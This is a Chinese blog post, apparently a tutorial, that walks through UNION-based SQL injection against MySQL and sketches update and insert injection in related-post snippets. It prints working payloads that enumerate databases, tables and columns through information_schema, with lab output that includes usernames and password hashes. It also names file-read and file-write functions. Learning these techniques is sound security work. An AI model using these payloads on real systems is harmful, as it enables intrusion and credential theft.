SQL注入基本步驟

2021-10-08 19:18:39 字數 2828 閱讀 3739

這篇文章將的比較好:

sql注入基本步驟

1、注入點測試

2、查詢字段數

3、判斷回顯位

4、查詢資料庫的基本資訊

5、爆資料庫名

6、爆資料庫表名

7、爆欄位名

現在來介紹幾個在滲透測試中常用的幾個函式和表庫名。

@@hostname //主機名稱

@@datadir //返回資料庫的儲存目錄

@@version_compile_os //檢視伺服器的作業系統

database() // 檢視當前連線的資料庫名稱

user() // 檢視當前連線的資料庫使用者

version() //檢視資料庫版本 current_user() // 當前登入的使用者和登入的主機名system_user() // 資料庫系統使用者賬戶名稱和登入的主機名session_user() //當前會話的使用者名稱和登入的主機名

mysql安裝路徑:@@basedir

load_file 轉成16進製制或者10進製 mysql讀取本地檔案函式

into outfile 寫入函式

小結:

1.回顯位就是確定查詢出來的資料是在網頁上面的哪個位置顯示出來

2.如果出現報錯則為報錯型sql注入,如沒有報錯則進行盲注。

【information_schema 資料庫】 是mysql自帶的,它提供了訪問資料庫 元資料 的方式。什麼是 元資料 呢?元資料是關於資料的資料,如資料庫名或表名,列的資料型別,或訪問許可權等。

有些時候用於表述該資訊的其他術語包括「資料詞典」和「系統目錄」。

在mysql中,把【information_schema】 看作是乙個資料庫,確切說是資訊資料庫。其中儲存著關於mysql伺服器所維護的所有其他資料庫的資訊。如資料庫名,資料庫的表,表欄的資料型別與訪問許可權等。

information_schema是資訊資料庫,其中儲存著關於mysql伺服器所維護的所有其他資料庫的資訊。在information_schema中,有數個唯讀表。它們實際上是檢視,而不是基本表,因此,你將無法看到與之相關的任何檔案,也就是information_schema說乙個虛擬資料庫,物理上並不存在。

information_schema=資訊資料庫

2.1 schemata表

schemata表提供了當前mysql例項中所有資料庫的資訊。show databases的結果取之此表。該錶對應的列說明如下:

2.2 tables表

tables表提供了關於資料庫中的表的資訊(包括檢視)。詳細表述了某個表屬於哪個schema,表型別,表引擎,建立時間等資訊。是show tables from db_ca_ods;【注db_ca_ods為資料庫名】的結果取之此表。

2.3 columns表

columns表提供了表中的列資訊。詳細表述了某張表的所有列以及每個列的資訊。是show columns from schemaname(資料庫名).tablename(表名)的結果取之此表。

它裡面有columns_name欄位。

1儲存所有資料庫資訊表 : information_schema.schemata-------對應的列schema_name

eg:爆出所有資料庫名

union select 1,group_concat(schema_name),3,4 from information_schema.schemata

返回結果:information_schema,mozhe_discuz_stormgroup,mysql,performance_schema,sys

eg:爆出當前資料庫名

union select 1,database(),3,4 from information_schema.schemata

返回結果:mozhe_discuz_stormgroup

2儲存所有表名資訊的表 : information_schema.tables------------對應的列table_name

eg:爆出該資料庫下所有表

union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='mozhe_discuz_stormgroup'

返回結果:stormgroup_member,notice

3儲存所有列名資訊的表:information_schema.columns--------對應的列column_name

union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='stormgroup_member'

返回結果:id,name,password,status

4返回字段資訊:

union select 1,group_concat(name,password),3,4 from stormgroup_member

返回結果:mozhe356f589a7df439f6f744ff19bb8092c0,mozhe0eea0b12b2c5a0163e3062d2decc280b

SQL注入的基本步驟

get型別 1.判斷是字元型還是數字型 2 1 2.通過報錯判斷閉合符 limit 0,1 3.確認查詢的字段數量 order by 3 4.確認佔位資訊 union select 1,2,3 5.爆庫名 union select 1,2,database 6.爆表名 union select 1,...

SQL注入之常見注入的步驟

第一步 抓包 第二步 判斷注入 id 1 and 1 1 正確 id 1 and1 2 報錯 第三步 判斷列數 id 1 order by 3 報錯 order by 2 正確 依此可以判斷為2列 第四步 爆顯示位 id 1 union select 1,2 可以爆出1或哪個是顯示位 第五步 爆資料...

SQL注入之常見注入的步驟

update注入 在修改資訊的時候,後台就是通過update去找操作的 insert注入 insert 注入是指我們前端註冊的資訊,後台就是通過 insert這個操作插入到資料庫中 在註冊資訊處抓包 insert判斷注入 單引號報錯 存在注入,報錯資訊為 1234 1 1 1 1 基於報錯資訊進行注...